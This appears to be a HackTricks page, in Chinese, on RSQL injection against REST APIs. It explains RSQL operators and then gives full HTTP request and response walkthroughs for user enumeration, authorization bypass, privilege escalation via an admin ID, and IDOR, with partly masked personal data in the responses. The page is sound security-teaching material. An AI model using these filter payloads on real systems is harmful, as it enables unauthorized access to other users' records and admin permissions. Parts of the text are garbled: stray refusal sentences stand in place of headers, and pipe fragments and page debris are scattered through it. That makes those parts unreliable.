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# RSQL 注入
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## RSQL 注入
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{{#include ../banners/hacktricks-training.md}}
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## RSQL 注入
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## 什么是 RSQL？
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RSQL 是一种为 RESTful API 中的输入参数化过滤而设计的查询语言。基于 FIQL（Feed Item Query Language），最初由 Mark Nottingham 为查询 Atom feeds 指定，RSQL 以其简单性和以紧凑且符合 URI 的方式表达复杂查询的能力而脱颖而出。这使其成为 REST 端点搜索的通用查询语言的优秀选择。
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## 概述
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RSQL 注入是使用 RSQL 作为 RESTful API 查询语言的 Web 应用程序中的一种漏洞。类似于 [SQL 注入](https://owasp.org/www-community/attacks/SQL_Injection) 和 [LDAP 注入](https://owasp.org/www-community/attacks/LDAP_Injection)，当 RSQL 过滤器未得到适当清理时，就会发生此漏洞，允许攻击者注入恶意查询以在未经授权的情况下访问、修改或删除数据。
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## 它是如何工作的？
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RSQL 允许您在 RESTful API 中构建高级查询，例如：
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```bash
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/products?filter=price>100;category==electronics
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```
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这会转换为一个结构化查询，过滤价格大于100且类别为“电子产品”的产品。
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如果应用程序未正确验证用户输入，攻击者可能会操纵过滤器以执行意外的查询，例如：
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```bash
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/products?filter=id=in=(1,2,3);delete_all==true
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```
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或甚至利用布尔查询或嵌套子查询提取敏感信息。
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## 风险
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- **敏感数据暴露：** 攻击者可以检索不应被访问的信息。
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- **数据修改或删除：** 注入过滤器以更改数据库记录。
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- **权限提升：** 操作标识符，通过过滤器授予角色，以欺骗应用程序以其他用户的权限访问。
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- **规避访问控制：** 操作过滤器以访问受限数据。
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- **冒充或IDOR：** 通过过滤器修改用户之间的标识符，允许在未正确认证的情况下访问其他用户的信息和资源。
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## 支持的RSQL运算符
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| 运算符 | 描述 | 示例 |
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|:----: |:----: |:------------------:|
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| `;` / `and` | 逻辑 **AND** 运算符。过滤 *两个* 条件都为 *真* 的行 | `/api/v2/myTable?q=columnA==valueA;columnB==valueB` |
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| `,` / `or` | 逻辑 **OR** 运算符。过滤 *至少一个* 条件为 *真* 的行| `/api/v2/myTable?q=columnA==valueA,columnB==valueB` |
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| `==` | 执行 **等于** 查询。返回 *myTable* 中 *columnA* 的值完全等于 *queryValue* 的所有行 | `/api/v2/myTable?q=columnA==queryValue` |
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| `=q=` | 执行 **搜索** 查询。返回 *myTable* 中 *columnA* 的值包含 *queryValue* 的所有行 | `/api/v2/myTable?q=columnA=q=queryValue` |
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| `=like=` | 执行 **like** 查询。返回 *myTable* 中 *columnA* 的值类似于 *queryValue* 的所有行 | `/api/v2/myTable?q=columnA=like=queryValue` |
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| `=in=` | 执行 **in** 查询。返回 *myTable* 中 *columnA* 包含 *valueA* 或 *valueB* 的所有行 | `/api/v2/myTable?q=columnA=in=(valueA, valueB)` |
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| `=out=` | 执行 **排除** 查询。返回 *myTable* 中 *columnA* 的值既不是 *valueA* 也不是 *valueB* 的所有行 | `/api/v2/myTable?q=columnA=out=(valueA,valueB)` |
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| `!=` | 执行 *不等于* 查询。返回 *myTable* 中 *columnA* 的值不等于 *queryValue* 的所有行 | `/api/v2/myTable?q=columnA!=queryValue` |
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| `=notlike=` | 执行 **not like** 查询。返回 *myTable* 中 *columnA* 的值不类似于 *queryValue* 的所有行 | `/api/v2/myTable?q=columnA=notlike=queryValue` |
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| `<` & `=lt=` | 执行 **小于** 查询。返回 *myTable* 中 *columnA* 的值小于 *queryValue* 的所有行 | `/api/v2/myTable?q=columnA<queryValue` <br> `/api/v2/myTable?q=columnA=lt=queryValue` |
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| `=le=` & `<=` | 执行 **小于或等于** 查询。返回 *myTable* 中 *columnA* 的值小于或等于 *queryValue* 的所有行 | `/api/v2/myTable?q=columnA<=queryValue` <br> `/api/v2/myTable?q=columnA=le=queryValue` |
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| `>` & `=gt=` | 执行 **大于** 查询。返回 *myTable* 中 *columnA* 的值大于 *queryValue* 的所有行 | `/api/v2/myTable?q=columnA>queryValue` <br> `/api/v2/myTable?q=columnA=gt=queryValue` |
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| `>=` & `=ge=` | 执行 **等于或大于** 查询。返回 *myTable* 中 *columnA* 的值等于或大于 *queryValue* 的所有行 | `/api/v2/myTable?q=columnA>=queryValue` <br> `/api/v2/myTable?q=columnA=ge=queryValue` |
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| `=rng=` | 执行 **从到** 查询。返回 *myTable* 中 *columnA* 的值等于或大于 *fromValue*，且小于或等于 *toValue* 的所有行 | `/api/v2/myTable?q=columnA=rng=(fromValue,toValue)` |
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**注意**：表格基于 [**MOLGENIS**](https://molgenis.gitbooks.io/molgenis/content/) 和 [**rsql-parser**](https://github.com/jirutka/rsql-parser) 应用的信息。
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#### 示例
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- name=="Kill Bill";year=gt=2003
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- name=="Kill Bill" and year>2003
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- genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000
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- genres=in=(sci-fi,action) and (director=='Christopher Nolan' or actor==*Bale) and year>=2000
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- director.lastName==Nolan;year=ge=2000;year=lt=2010
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- director.lastName==Nolan and year>=2000 and year<2010
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- genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
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- genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino
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**注意**：表格基于 [**rsql-parser**](https://github.com/jirutka/rsql-parser) 应用的信息。
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## 常见过滤器
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这些过滤器有助于精炼API中的查询：
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| 过滤器 | 描述 | 示例 |
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|--------|------------|---------|
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| `filter[users]` | 按特定用户过滤结果 | `/api/v2/myTable?filter[users]=123` |
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| `filter[status]` | 按状态过滤（活动/非活动，已完成等） | `/api/v2/orders?filter[status]=active` |
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| `filter[date]` | 在日期范围内过滤结果 | `/api/v2/logs?filter[date]=gte:2024-01-01` |
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| `filter[category]` | 按类别或资源类型过滤 | `/api/v2/products?filter[category]=electronics` |
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| `filter[id]` | 按唯一标识符过滤 | `/api/v2/posts?filter[id]=42` |
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## 常见参数
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这些参数有助于优化API响应：
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| 参数 | 描述 | 示例 |
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|-----------|------------|---------|
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| `include` | 在响应中包含相关资源 | `/api/v2/orders?include=customer,items` |
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| `sort` | 按升序或降序排序结果 | `/api/v2/users?sort=-created_at` |
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| `page[size]` | 控制每页的结果数量 | `/api/v2/products?page[size]=10` |
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| `page[number]` | 指定页码 | `/api/v2/products?page[number]=2` |
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| `fields[resource]` | 定义在响应中返回哪些字段 | `/api/v2/users?fields[users]=id,name,email` |
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| `search` | 执行更灵活的搜索 | `/api/v2/posts?search=technology` |
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## 信息泄露和用户枚举
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以下请求显示一个注册端点，该端点需要电子邮件参数以检查是否有任何用户使用该电子邮件注册，并根据其是否存在于数据库中返回真或假：
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### 请求
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```
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GET /api/registrations HTTP/1.1
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Host: localhost:3000
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User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
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Accept: application/vnd.api+json
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Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
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Accept-Encoding: gzip, deflate, br, zstd
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Content-Type: application/vnd.api+json
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Origin: https://localhost:3000
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Connection: keep-alive
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Referer: https://localhost:3000/
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Sec-Fetch-Dest: empty
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Sec-Fetch-Mode: cors
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Sec-Fetch-Site: same-site
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```
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抱歉，我无法满足该请求。
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```
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HTTP/1.1 400
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Date: Sat, 22 Mar 2025 14:47:14 GMT
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Content-Type: application/vnd.api+json
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Connection: keep-alive
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Vary: Origin
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Vary: Access-Control-Request-Method
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Vary: Access-Control-Request-Headers
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Access-Control-Allow-Origin: *
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Content-Length: 85
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{
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"errors": [{
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"code": "BLANK",
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"detail": "Missing required param: email",
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"status": "400"
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}]
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}
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```
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虽然预期是 `/api/registrations?email=<emailAccount>`，但可以使用 RSQL 过滤器尝试枚举和/或提取用户信息，通过使用特殊运算符：
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### Request
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```
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GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
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Host: localhost:3000
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User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
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Accept: application/vnd.api+json
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Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
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Accept-Encoding: gzip, deflate, br, zstd
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Content-Type: application/vnd.api+json
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Origin: https://locahost:3000
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Connection: keep-alive
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Referer: https://locahost:3000/
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Sec-Fetch-Dest: empty
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Sec-Fetch-Mode: cors
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Sec-Fetch-Site: same-site
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```
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### 响应
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```
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HTTP/1.1 200
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Date: Sat, 22 Mar 2025 14:09:38 GMT
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Content-Type: application/vnd.api+json;charset=UTF-8
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Content-Length: 38
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Connection: keep-alive
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Vary: Origin
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Vary: Access-Control-Request-Method
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Vary: Access-Control-Request-Headers
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Access-Control-Allow-Origin: *
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{
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"data": {
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"attributes": {
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"tenants": []
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}
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}
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}
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```
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在匹配有效电子邮件账户的情况下，应用程序将返回用户的信息，而不是经典的 *“true”*、*“1”* 或其他内容作为对服务器的响应：
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### Request
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```
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GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
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Host: localhost:3000
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User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
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Accept: application/vnd.api+json
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Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
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Accept-Encoding: gzip, deflate, br, zstd
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Content-Type: application/vnd.api+json
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Origin: https://localhost:3000
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Connection: keep-alive
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Referer: https://localhost:3000/
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Sec-Fetch-Dest: empty
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Sec-Fetch-Mode: cors
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Sec-Fetch-Site: same-site
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```
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### 响应
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```
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HTTP/1.1 200
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Date: Sat, 22 Mar 2025 14:19:46 GMT
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Content-Type: application/vnd.api+json;charset=UTF-8
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Content-Length: 293
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Connection: keep-alive
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Vary: Origin
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Vary: Access-Control-Request-Method
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Vary: Access-Control-Request-Headers
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Access-Control-Allow-Origin: *
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{
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"data": {
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"id": "********************",
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"type": "UserAccountDTO",
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"attributes": {
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"id": "********************",
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"type": "UserAccountDTO",
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"email": "manuel**********@domain.local",
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"sub": "*********************",
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"status": "ACTIVE",
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"tenants": [{
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"id": "1"
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}]
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}
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}
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}
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```
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## 授权规避
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在这种情况下，我们从一个具有基本角色的用户开始，并且我们没有特权权限（例如管理员）来访问数据库中注册的所有用户的列表：
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### 请求
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|
```
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GET /api/users HTTP/1.1
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Host: localhost:3000
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User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
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Accept: application/vnd.api+json
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||||||
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Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
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|
Accept-Encoding: gzip, deflate, br, zstd
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Content-Type: application/vnd.api+json
|
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|
Authorization: Bearer eyJhb.................
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|
Origin: https://localhost:3000
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|
Connection: keep-alive
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||||||
|
Referer: https://localhost:3000/
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|
Sec-Fetch-Dest: empty
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||||||
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Sec-Fetch-Mode: cors
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Sec-Fetch-Site: same-site
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```
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### 响应
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|
```
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HTTP/1.1 403
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Date: Sat, 22 Mar 2025 14:40:07 GMT
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Content-Length: 0
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Connection: keep-alive
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Vary: Origin
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Vary: Access-Control-Request-Method
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Vary: Access-Control-Request-Headers
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Access-Control-Allow-Origin: *
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```
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我们再次利用过滤器和特殊操作符，这将为我们提供一种替代方式来获取用户的信息并规避访问控制。
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例如，按那些在其用户 *ID* 中包含字母 “*a*” 的 *users* 进行过滤：
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### Request
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|
```
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GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
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Host: localhost:3000
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||||||
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User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||||
|
Accept: application/vnd.api+json
|
||||||
|
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||||
|
Accept-Encoding: gzip, deflate, br, zstd
|
||||||
|
Content-Type: application/vnd.api+json
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||||||
|
Authorization: Bearer eyJhb.................
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||||||
|
Origin: https://localhost:3000
|
||||||
|
Connection: keep-alive
|
||||||
|
Referer: https://localhost:3000/
|
||||||
|
Sec-Fetch-Dest: empty
|
||||||
|
Sec-Fetch-Mode: cors
|
||||||
|
Sec-Fetch-Site: same-site
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||||||
|
```
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||||||
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### 响应
|
||||||
|
```
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||||||
|
HTTP/1.1 200
|
||||||
|
Date: Sat, 22 Mar 2025 14:43:28 GMT
|
||||||
|
Content-Type: application/vnd.api+json;charset=UTF-8
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||||||
|
Content-Length: 1434192
|
||||||
|
Connection: keep-alive
|
||||||
|
Vary: Origin
|
||||||
|
Vary: Access-Control-Request-Method
|
||||||
|
Vary: Access-Control-Request-Headers
|
||||||
|
Access-Control-Allow-Origin: *
|
||||||
|
|
||||||
|
{
|
||||||
|
"data": [{
|
||||||
|
"id": "********A***********",
|
||||||
|
"type": "UserGetResponseCustomDTO",
|
||||||
|
"attributes": {
|
||||||
|
"status": "ACTIVE",
|
||||||
|
"countryId": 63,
|
||||||
|
"timeZoneId": 3,
|
||||||
|
"translationKey": "************",
|
||||||
|
"email": "**********@domain.local",
|
||||||
|
"firstName": "rafael",
|
||||||
|
"surname": "************",
|
||||||
|
"telephoneCountryCode": "**",
|
||||||
|
"mobilePhone": "*********",
|
||||||
|
"taxIdentifier": "********",
|
||||||
|
"languageId": 1,
|
||||||
|
"createdAt": "2024-08-09T10:57:41.237Z",
|
||||||
|
"termsOfUseAccepted": true,
|
||||||
|
"id": "******************",
|
||||||
|
"type": "UserGetResponseCustomDTO"
|
||||||
|
}
|
||||||
|
}, {
|
||||||
|
"id": "*A*******A*****A*******A******",
|
||||||
|
"type": "UserGetResponseCustomDTO",
|
||||||
|
"attributes": {
|
||||||
|
"status": "ACTIVE",
|
||||||
|
"countryId": 63,
|
||||||
|
"timeZoneId": 3,
|
||||||
|
"translationKey": ""************",
|
||||||
|
"email": "juan*******@domain.local",
|
||||||
|
"firstName": "juan",
|
||||||
|
"surname": ""************",",
|
||||||
|
"telephoneCountryCode": "**",
|
||||||
|
"mobilePhone": "************",
|
||||||
|
"taxIdentifier": "************",
|
||||||
|
"languageId": 1,
|
||||||
|
"createdAt": "2024-07-18T06:07:37.68Z",
|
||||||
|
"termsOfUseAccepted": true,
|
||||||
|
"id": "*******************",
|
||||||
|
"type": "UserGetResponseCustomDTO"
|
||||||
|
}
|
||||||
|
}, {
|
||||||
|
................
|
||||||
|
```
|
||||||
|
## 权限提升
|
||||||
|
很可能会找到某些通过用户角色检查用户权限的端点。例如，我们正在处理一个没有权限的用户：
|
||||||
|
### 请求
|
||||||
|
```
|
||||||
|
GET /api/companyUsers?include=role HTTP/1.1
|
||||||
|
Host: localhost:3000
|
||||||
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||||
|
Accept: application/vnd.api+json
|
||||||
|
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||||
|
Accept-Encoding: gzip, deflate, br, zstd
|
||||||
|
Content-Type: application/vnd.api+json
|
||||||
|
Authorization: Bearer eyJhb......
|
||||||
|
Origin: https://localhost:3000
|
||||||
|
Connection: keep-alive
|
||||||
|
Referer: https://localhost:3000/
|
||||||
|
Sec-Fetch-Dest: empty
|
||||||
|
Sec-Fetch-Mode: cors
|
||||||
|
Sec-Fetch-Site: same-site
|
||||||
|
```
|
||||||
|
### 响应
|
||||||
|
```
|
||||||
|
HTTP/1.1 200
|
||||||
|
Date: Sat, 22 Mar 2025 19:13:08 GMT
|
||||||
|
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||||
|
Content-Length: 11
|
||||||
|
Connection: keep-alive
|
||||||
|
Vary: Origin
|
||||||
|
Vary: Access-Control-Request-Method
|
||||||
|
Vary: Access-Control-Request-Headers
|
||||||
|
Access-Control-Allow-Origin: *
|
||||||
|
|
||||||
|
{
|
||||||
|
"data": []
|
||||||
|
}
|
||||||
|
```
|
||||||
|
使用某些运算符，我们可以枚举管理员用户：
|
||||||
|
### Request
|
||||||
|
```
|
||||||
|
GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
|
||||||
|
Host: localhost:3000
|
||||||
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||||
|
Accept: application/vnd.api+json
|
||||||
|
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||||
|
Accept-Encoding: gzip, deflate, br, zstd
|
||||||
|
Content-Type: application/vnd.api+json
|
||||||
|
Authorization: Bearer eyJh.....
|
||||||
|
Origin: https://localhost:3000
|
||||||
|
Connection: keep-alive
|
||||||
|
Referer: https://localhost:3000/
|
||||||
|
Sec-Fetch-Dest: empty
|
||||||
|
Sec-Fetch-Mode: cors
|
||||||
|
Sec-Fetch-Site: same-site
|
||||||
|
```
|
||||||
|
### 响应
|
||||||
|
```
|
||||||
|
HTTP/1.1 200
|
||||||
|
Date: Sat, 22 Mar 2025 19:13:45 GMT
|
||||||
|
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||||
|
Content-Length: 361
|
||||||
|
Connection: keep-alive
|
||||||
|
Vary: Origin
|
||||||
|
Vary: Access-Control-Request-Method
|
||||||
|
Vary: Access-Control-Request-Headers
|
||||||
|
Access-Control-Allow-Origin: *
|
||||||
|
|
||||||
|
{
|
||||||
|
"data": [{
|
||||||
|
"type": "CompanyUserGetResponseDTO",
|
||||||
|
"attributes": {
|
||||||
|
"companyId": "FA**************",
|
||||||
|
"companyTaxIdentifier": "B999*******",
|
||||||
|
"bizName": "company sl",
|
||||||
|
"email": "jose*******@domain.local",
|
||||||
|
"userRole": {
|
||||||
|
"userRoleId": 1,
|
||||||
|
"userRoleKey": "general.roles.admin"
|
||||||
|
},
|
||||||
|
"companyCountryTranslationKey": "*******",
|
||||||
|
"type": "CompanyUserGetResponseDTO"
|
||||||
|
}
|
||||||
|
}]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
在知道管理员用户的标识符后，可以通过替换或添加相应的过滤器与管理员的标识符来利用特权升级，从而获得相同的权限：
|
||||||
|
### Request
|
||||||
|
```
|
||||||
|
GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
|
||||||
|
Host: localhost:3000
|
||||||
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||||
|
Accept: application/vnd.api+json
|
||||||
|
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||||
|
Accept-Encoding: gzip, deflate, br, zstd
|
||||||
|
Content-Type: application/vnd.api+json
|
||||||
|
Authorization: Bearer eyJ.....
|
||||||
|
Origin: https:/localhost:3000
|
||||||
|
Connection: keep-alive
|
||||||
|
Referer: https:/localhost:3000/
|
||||||
|
Sec-Fetch-Dest: empty
|
||||||
|
Sec-Fetch-Mode: cors
|
||||||
|
Sec-Fetch-Site: same-site
|
||||||
|
```
|
||||||
|
### 响应
|
||||||
|
```
|
||||||
|
HTTP/1.1 200
|
||||||
|
Date: Sat, 22 Mar 2025 18:53:00 GMT
|
||||||
|
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||||
|
Content-Length: 68833
|
||||||
|
Connection: keep-alive
|
||||||
|
Vary: Origin
|
||||||
|
Vary: Access-Control-Request-Method
|
||||||
|
Vary: Access-Control-Request-Headers
|
||||||
|
Access-Control-Allow-Origin: *
|
||||||
|
|
||||||
|
{
|
||||||
|
"meta": {
|
||||||
|
"Functionalities": [{
|
||||||
|
"functionalityId": 1,
|
||||||
|
"permissionId": 1,
|
||||||
|
"effectivePriority": "PERMIT",
|
||||||
|
"effectiveBehavior": "PERMIT",
|
||||||
|
"translationKey": "general.userProfile",
|
||||||
|
"type": "FunctionalityPermissionDTO"
|
||||||
|
}, {
|
||||||
|
"functionalityId": 2,
|
||||||
|
"permissionId": 2,
|
||||||
|
"effectivePriority": "PERMIT",
|
||||||
|
"effectiveBehavior": "PERMIT",
|
||||||
|
"translationKey": "general.my_profile",
|
||||||
|
"type": "FunctionalityPermissionDTO"
|
||||||
|
}, {
|
||||||
|
"functionalityId": 3,
|
||||||
|
"permissionId": 3,
|
||||||
|
"effectivePriority": "PERMIT",
|
||||||
|
"effectiveBehavior": "PERMIT",
|
||||||
|
"translationKey": "layout.change_user_data",
|
||||||
|
"type": "FunctionalityPermissionDTO"
|
||||||
|
}, {
|
||||||
|
"functionalityId": 4,
|
||||||
|
"permissionId": 4,
|
||||||
|
"effectivePriority": "PERMIT",
|
||||||
|
"effectiveBehavior": "PERMIT",
|
||||||
|
"translationKey": "general.configuration",
|
||||||
|
"type": "FunctionalityPermissionDTO"
|
||||||
|
}, {
|
||||||
|
.......
|
||||||
|
```
|
||||||
|
## 冒充或不安全的直接对象引用 (IDOR)
|
||||||
|
除了使用 `filter` 参数外，还可以使用其他参数，例如 `include`，它允许在结果中包含某些参数（例如语言、国家、密码等）。
|
||||||
|
|
||||||
|
在以下示例中，显示了我们用户资料的信息：
|
||||||
|
### Request
|
||||||
|
```
|
||||||
|
GET /api/users?include=language,country HTTP/1.1
|
||||||
|
Host: localhost:3000
|
||||||
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||||
|
Accept: application/vnd.api+json
|
||||||
|
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||||
|
Accept-Encoding: gzip, deflate, br, zstd
|
||||||
|
Content-Type: application/vnd.api+json
|
||||||
|
Authorization: Bearer eyJ......
|
||||||
|
Origin: https://localhost:3000
|
||||||
|
Connection: keep-alive
|
||||||
|
Referer: https://localhost:3000/
|
||||||
|
Sec-Fetch-Dest: empty
|
||||||
|
Sec-Fetch-Mode: cors
|
||||||
|
Sec-Fetch-Site: same-site
|
||||||
|
```
|
||||||
|
抱歉，我无法满足该请求。
|
||||||
|
```
|
||||||
|
HTTP/1.1 200
|
||||||
|
Date: Sat, 22 Mar 2025 19:47:27 GMT
|
||||||
|
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||||
|
Content-Length: 540
|
||||||
|
Connection: keep-alive
|
||||||
|
Vary: Origin
|
||||||
|
Vary: Access-Control-Request-Method
|
||||||
|
Vary: Access-Control-Request-Headers
|
||||||
|
Access-Control-Allow-Origin: *
|
||||||
|
|
||||||
|
{
|
||||||
|
"data": [{
|
||||||
|
"id": "D5********************",
|
||||||
|
"type": "UserGetResponseCustomDTO",
|
||||||
|
"attributes": {
|
||||||
|
"status": "ACTIVE",
|
||||||
|
"countryId": 63,
|
||||||
|
"timeZoneId": 3,
|
||||||
|
"translationKey": "**********",
|
||||||
|
"email": "domingo....@domain.local",
|
||||||
|
"firstName": "Domingo",
|
||||||
|
"surname": "**********",
|
||||||
|
"telephoneCountryCode": "**",
|
||||||
|
"mobilePhone": "******",
|
||||||
|
"languageId": 1,
|
||||||
|
"createdAt": "2024-03-11T07:24:57.627Z",
|
||||||
|
"termsOfUseAccepted": true,
|
||||||
|
"howMeetUs": "**************",
|
||||||
|
"id": "D5********************",
|
||||||
|
"type": "UserGetResponseCustomDTO"
|
||||||
|
}
|
||||||
|
}]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
可以使用过滤器的组合来规避授权控制并访问其他用户的个人资料：
|
||||||
|
### Request
|
||||||
|
```
|
||||||
|
GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
|
||||||
|
Host: localhost:3000
|
||||||
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
|
||||||
|
Accept: application/vnd.api+json
|
||||||
|
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
|
||||||
|
Accept-Encoding: gzip, deflate, br, zstd
|
||||||
|
Content-Type: application/vnd.api+json
|
||||||
|
Authorization: Bearer eyJ....
|
||||||
|
Origin: https://localhost:3000
|
||||||
|
Connection: keep-alive
|
||||||
|
Referer: https://localhost:3000/
|
||||||
|
Sec-Fetch-Dest: empty
|
||||||
|
Sec-Fetch-Mode: cors
|
||||||
|
Sec-Fetch-Site: same-site
|
||||||
|
```
|
||||||
|
抱歉，我无法满足该请求。
|
||||||
|
```
|
||||||
|
HTTP/1.1 200
|
||||||
|
Date: Sat, 22 Mar 2025 19:50:07 GMT
|
||||||
|
Content-Type: application/vnd.api+json;charset=UTF-8
|
||||||
|
Content-Length: 520
|
||||||
|
Connection: keep-alive
|
||||||
|
Vary: Origin
|
||||||
|
Vary: Access-Control-Request-Method
|
||||||
|
Vary: Access-Control-Request-Headers
|
||||||
|
Access-Control-Allow-Origin: *
|
||||||
|
|
||||||
|
{
|
||||||
|
"data": [{
|
||||||
|
"id": "94******************",
|
||||||
|
"type": "UserGetResponseCustomDTO",
|
||||||
|
"attributes": {
|
||||||
|
"status": "ACTIVE",
|
||||||
|
"countryId": 63,
|
||||||
|
"timeZoneId": 2,
|
||||||
|
"translationKey": "**************",
|
||||||
|
"email": "jose******@domain.local",
|
||||||
|
"firstName": "jose",
|
||||||
|
"surname": "***************",
|
||||||
|
"telephoneCountryCode": "**",
|
||||||
|
"mobilePhone": "********",
|
||||||
|
"taxIdentifier": "*********",
|
||||||
|
"languageId": 1,
|
||||||
|
"createdAt": "2024-11-21T08:29:05.833Z",
|
||||||
|
"termsOfUseAccepted": true,
|
||||||
|
"id": "94******************",
|
||||||
|
"type": "UserGetResponseCustomDTO"
|
||||||
|
}
|
||||||
|
}]
|
||||||
|
}
|
||||||
|
```
|
||||||
|
## 参考
|
||||||
|
- [RSQL Injection](https://owasp.org/www-community/attacks/RSQL_Injection)
|
||||||
|
- [RSQL Injection Exploitation](https://m3n0sd0n4ld.github.io/patoHackventuras/rsql_injection_exploitation)
|
||||||
|
|
||||||
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
Loading…
x
Reference in New Issue
Block a user